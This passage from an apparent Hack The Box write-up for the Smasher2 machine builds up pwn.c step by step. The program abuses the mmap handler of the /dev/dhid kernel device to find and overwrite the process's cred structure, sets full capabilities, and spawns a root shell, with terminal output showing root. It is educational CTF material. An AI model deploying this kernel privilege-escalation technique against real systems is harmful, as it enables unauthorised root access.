addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid

){

credNum++;

printf ( "[*] Cred structure found! ptr: %p, crednum: %d

" , addr, credNum);

}



addr++;



}



pwn.c :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64















int main ( int argc, char * const * argv) {



printf ( "[+] PID: %d

" , getpid());



int fd = open ( "/dev/dhid" , O_RDWR);



if (fd < 0 ){

printf ( "[!] Open failed!

" );

return -1 ;

}



printf ( "[*] Open OK fd: %d

" , fd);



unsigned long size = 0xf0000000 ;

unsigned long mmapStart = 0x42424000 ;

unsigned int * addr = ( unsigned int *)mmap(( void *)mmapStart, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0 );



if (addr == MAP_FAILED){

perror( "[!] Failed to mmap" );

close (fd);

return -1 ;

}



printf ( "[*] mmap OK address: %lx

" , addr);



unsigned int uid = getuid();



printf ( "[*] Current UID: %d

" , uid);



unsigned int credIt = 0 ;

unsigned int credNum = 0 ;



while ((( unsigned long )addr) < (mmapStart + size - 0x40 )){

credIt = 0 ;

if (

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid

){

credNum++;

printf ( "[*] Cred structure found! ptr: %p, crednum: %d

" , addr, credNum);

}



addr++;



}



fflush( stdout );



int stop = getchar();

return 0 ;

}



It worked:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

dzonerzy@smasher2:/dev/shm$ ./pwn

[+] PID: 1215

[*] Open OK fd: 3

[*] mmap OK address: 42424000

[*] Current UID: 1000

[*] Cred structure found! ptr: 0x76186484, crednum: 1

[*] Cred structure found! ptr: 0x76186904, crednum: 2

[*] Cred structure found! ptr: 0x76186b44, crednum: 3

[*] Cred structure found! ptr: 0x76186cc4, crednum: 4

[*] Cred structure found! ptr: 0x76186d84, crednum: 5

[*] Cred structure found! ptr: 0x76186fc4, crednum: 6

[*] Cred structure found! ptr: 0x761872c4, crednum: 7

[*] Cred structure found! ptr: 0x76187684, crednum: 8

[*] Cred structure found! ptr: 0x76187984, crednum: 9

[*] Cred structure found! ptr: 0x76187b04, crednum: 10

[*] Cred structure found! ptr: 0x76187bc4, crednum: 11

[*] Cred structure found! ptr: 0x76187c84, crednum: 12

[*] Cred structure found! ptr: 0x77112184, crednum: 13

[*] Cred structure found! ptr: 0x771123c4, crednum: 14

[*] Cred structure found! ptr: 0x77112484, crednum: 15

[*] Cred structure found! ptr: 0x771129c4, crednum: 16

[*] Cred structure found! ptr: 0x77113084, crednum: 17

[*] Cred structure found! ptr: 0x77113144, crednum: 18

[*] Cred structure found! ptr: 0x77113504, crednum: 19

[*] Cred structure found! ptr: 0x77113c84, crednum: 20

[*] Cred structure found! ptr: 0x7714a604, crednum: 21

[*] Cred structure found! ptr: 0x7714aa84, crednum: 22

[*] Cred structure found! ptr: 0x7714ac04, crednum: 23

[*] Cred structure found! ptr: 0x7714afc4, crednum: 24

[*] Cred structure found! ptr: 0x7714ba44, crednum: 25

[*] Cred structure found! ptr: 0xb9327bc4, crednum: 26



dzonerzy@smasher2:/dev/shm$



Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid , when we overwrite the one that belongs to our process our uid should be 0 :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

credIt = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;



if (getuid() == 0 ){

printf ( "[*] Process cred structure found ptr: %p, crednum: %d

" , addr, credNum);

break ;

}



pwn.c :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92















int main ( int argc, char * const * argv) {



printf ( "[+] PID: %d

" , getpid());

int fd = open ( "/dev/dhid" , O_RDWR);



if (fd < 0 ){

printf ( "[!] Open failed!

" );

return -1 ;

}



printf ( "[*] Open OK fd: %d

" , fd);



unsigned long size = 0xf0000000 ;

unsigned long mmapStart = 0x42424000 ;

unsigned int * addr = ( unsigned int *)mmap(( void *)mmapStart, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0 );



if (addr == MAP_FAILED){

perror( "Failed to mmap: " );

close (fd);

return -1 ;

}



printf ( "[*] mmap OK address: %lx

" , addr);



unsigned int uid = getuid();



printf ( "[*] Current UID: %d

" , uid);



unsigned int credIt = 0 ;

unsigned int credNum = 0 ;



while ((( unsigned long )addr) < (mmapStart + size - 0x40 )){



credIt = 0 ;



if (

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid

){

credNum++;



printf ( "[*] Cred structure found! ptr: %p, crednum: %d

" , addr, credNum);



credIt = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;



if (getuid() == 0 ){

printf ( "[*] Process cred structure found ptr: %p, crednum: %d

" , addr, credNum);

break ;

}



else {

credIt = 0 ;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

}

}



addr++;

}



fflush( stdout );



int stop = getchar();

return 0 ;

}



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

dzonerzy@smasher2:/dev/shm$ ./pwn

[+] PID: 4773

[*] Open OK fd: 3

[*] mmap OK address: 42424000

[*] Current UID: 1000

[*] Cred structure found! ptr: 0x76186484, crednum: 1

[*] Cred structure found! ptr: 0x76186904, crednum: 2

[*] Cred structure found! ptr: 0x76186b44, crednum: 3

[*] Cred structure found! ptr: 0x76186cc4, crednum: 4

[*] Cred structure found! ptr: 0x76186fc4, crednum: 5

[*] Cred structure found! ptr: 0x76187684, crednum: 6

[*] Cred structure found! ptr: 0x76187bc4, crednum: 7

[*] Cred structure found! ptr: 0x77112184, crednum: 8

[*] Cred structure found! ptr: 0x771123c4, crednum: 9

[*] Cred structure found! ptr: 0x77112484, crednum: 10

[*] Cred structure found! ptr: 0x771129c4, crednum: 11

[*] Cred structure found! ptr: 0x77113084, crednum: 12

[*] Cred structure found! ptr: 0x77113144, crednum: 13

[*] Cred structure found! ptr: 0x77113504, crednum: 14

[*] Cred structure found! ptr: 0x77113c84, crednum: 15

[*] Cred structure found! ptr: 0x7714a484, crednum: 16

[*] Cred structure found! ptr: 0x7714a604, crednum: 17

[*] Cred structure found! ptr: 0x7714a6c4, crednum: 18

[*] Cred structure found! ptr: 0x7714a844, crednum: 19

[*] Cred structure found! ptr: 0x7714a9c4, crednum: 20

[*] Cred structure found! ptr: 0x7714aa84, crednum: 21

[*] Cred structure found! ptr: 0x7714ac04, crednum: 22

[*] Cred structure found! ptr: 0x7714ad84, crednum: 23

[*] Process cred structure found ptr: 0x7714ad84, crednum: 23



dzonerzy@smasher2:/dev/shm$



Great! now what’s left to do is to overwrite the capabilities in our cred structure with 0xffffffffffffffff and execute /bin/sh :

1

2

3

4

5

6

7

8

9

10

11

12

13

credIt += 1 ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;



execl( "/bin/sh" , "-" , ( char *) NULL );



pwn.c :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103















int main ( int argc, char * const * argv) {



printf ( "\033[93m[+] PID: %d

" , getpid());

int fd = open ( "/dev/dhid" , O_RDWR);



if (fd < 0 ){

printf ( "\033[93m[!] Open failed!

" );

return -1 ;

}



printf ( "\033[32m[*] Open OK fd: %d

" , fd);



unsigned long size = 0xf0000000 ;

unsigned long mmapStart = 0x42424000 ;

unsigned int * addr = ( unsigned int *)mmap(( void *)mmapStart, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0 );



if (addr == MAP_FAILED){

perror( "\033[93m[!] Failed to mmap !" );

close (fd);

return -1 ;

}



printf ( "\033[32m[*] mmap OK address: %lx

" , addr);



unsigned int uid = getuid();



puts ( "\033[93m[+] Searching for the process cred structure ..." );



unsigned int credIt = 0 ;

unsigned int credNum = 0 ;



while ((( unsigned long )addr) < (mmapStart + size - 0x40 )){

credIt = 0 ;

if (

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid

){

credNum++;



credIt = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;

addr[credIt++] = 0 ;



if (getuid() == 0 ){



printf ( "\033[32m[*] Cred structure found ! ptr: %p, crednum: %d

" , addr, credNum);

puts ( "\033[32m[*] Got Root" );

puts ( "\033[32m[+] Spawning a shell" );



credIt += 1 ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;

addr[credIt++] = 0xffffffff ;



execl( "/bin/sh" , "-" , ( char *) NULL );

puts ( "\033[93m[!] Execl failed..." );



break ;

}

else {



credIt = 0 ;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

addr[credIt++] = uid;

}

}

addr++;

}



return 0 ;

}



And finally:

1

2

3

4

5

6

7

8

9

10

11

12

13

dzonerzy@smasher2:/dev/shm$ ./pwn

[+] PID: 1153

[*] Open OK fd: 3

[*] mmap OK address: 42424000

[+] Searching for the process cred structure ...

[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20

[*] Got Root

[+] Spawning a shell

# whoami

root

# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)

#





We owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Wall

Next Hack The Box write-up : Hack The Box - Craft